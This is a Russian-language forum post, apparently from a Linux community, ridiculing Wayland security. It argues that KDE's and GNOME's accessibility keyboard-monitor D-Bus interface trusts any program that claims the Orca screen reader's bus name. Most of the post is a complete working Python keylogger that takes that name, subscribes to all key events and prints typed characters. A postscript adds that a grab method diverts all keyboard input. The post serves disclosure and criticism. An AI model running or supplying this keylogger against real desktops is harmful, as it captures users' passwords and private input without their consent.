Привет, чят!
Как ты знаешь, одним из отличительных недостатков Wayland в сравнение с X11 является невозможность произвольной программой получить доступ к вводу с клавиатуры и захакернуть все твои пароли. Как минимум, в KDE и GNOME этот недостаток теперь исправлен.
Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д. В Linux такую роль исполняет Orca. Для того, чтобы обеспечить доступ Orca к событиям ввода, в KDE и GNOME добавили специальный интерфейс в dbus org.freedesktop.a11y.KeyboardMonitor, подписавшись на который можно собственно получать всю инфу. Возникает закономерный вопрос: как же определить, что доступ пытается получить именно Orca, а не злобный хакерский скрипт?
Ответ: KWin (композитор KDE) и Mutter (GNOME) проверяют… имя программы в dbus. И всё. Соответственно, любая программа, назвавшаяся org.gnome.Orca, получает по dbus доступ к вводу с клавиатуры и может захакеровывать твои пароли, ЛОРовец.
Пруф:
#!/usr/bin/env python3
import gi
gi.require_version('Gio', '2.0')
from gi.repository import Gio, GLib
bus = Gio.bus_get_sync(Gio.BusType.SESSION)
# Claim the Orca screen reader bus name
result = bus.call_sync(
'org.freedesktop.DBus',
'/org/freedesktop/DBus',
'org.freedesktop.DBus',
'RequestName',
GLib.Variant('(su)', ('org.gnome.Orca.KeyboardMonitor', 0)),
GLib.VariantType('(u)'),
Gio.DBusCallFlags.NONE,
-1, None
)
print(f"[*] RequestName result: {result}") # 1 = acquired
# Now call WatchKeyboard
bus.call_sync(
'org.freedesktop.a11y.Manager',
'/org/freedesktop/a11y/Manager',
'org.freedesktop.a11y.KeyboardMonitor',
'WatchKeyboard',
None, None,
Gio.DBusCallFlags.NONE,
-1, None
)
print("[+] WatchKeyboard succeeded!")
# Listen for KeyEvent signals
def on_key_event(connection, sender, path, interface, signal, params):
pressed, flags, keysym, charcode, scancode = params.unpack()
if pressed: # True = released, we log on press instead
return
if charcode >= 32 and charcode < 127:
char = chr(charcode)
print(f"{char}", end="", flush=True)
elif keysym == 65293:
print(f"\n", end="", flush=True)
elif keysym == 65288:
print(f"[BS]", end="", flush=True)
elif keysym == 65289:
print(f"[TAB]", end="", flush=True)
elif keysym == 65507 or keysym == 65508:
print(f"[CTRL]", end="", flush=True)
elif keysym == 65505 or keysym == 65506:
print(f"[SHIFT]", end="", flush=True)
elif keysym == 65513 or keysym == 65514:
print(f"[ALT]", end="", flush=True)
elif keysym == 65515:
print(f"[SUPER]", end="", flush=True)
else:
print(f"[{keysym}]", end="", flush=True)
bus.signal_subscribe(
None,
'org.freedesktop.a11y.KeyboardMonitor',
'KeyEvent',
None, None,
Gio.DBusSignalFlags.NONE,
on_key_event
)
print("[*] Listening for keystrokes...")
loop = GLib.MainLoop()
try:
loop.run()
except KeyboardInterrupt:
print("\n[*] Cleaning up")
bus.call_sync(
'org.freedesktop.a11y.Manager',
'/org/freedesktop/a11y/Manager',
'org.freedesktop.a11y.KeyboardMonitor',
'UnwatchKeyboard',
None, None,
Gio.DBusCallFlags.NONE,
-1, None
)
Скрипту требуется пакет pygobject3 и всё. Скрипт печатает все события с клавиатуры в консольку, пока не получит ^C.
Код и прочая инфа взяты отсюда: https://linnemanlabs.com/posts/hello-my-name-is-orca/
В общем, чят, вот такое вот забавное состояние безопасности в Wayland, над которым работают суровые профессионалы.
P.S. бонусом, если вместо метода WatchKeyboard дёрнуть метод GrabKeyboard, весь ввод уйдёт твоему скрипту, а обычные окна получат шиш. В общем, всё абсолютно как в X11. А ещё через это можно глобальные хоткеи сделать. Наконец-то паритет по фичам достигнут!













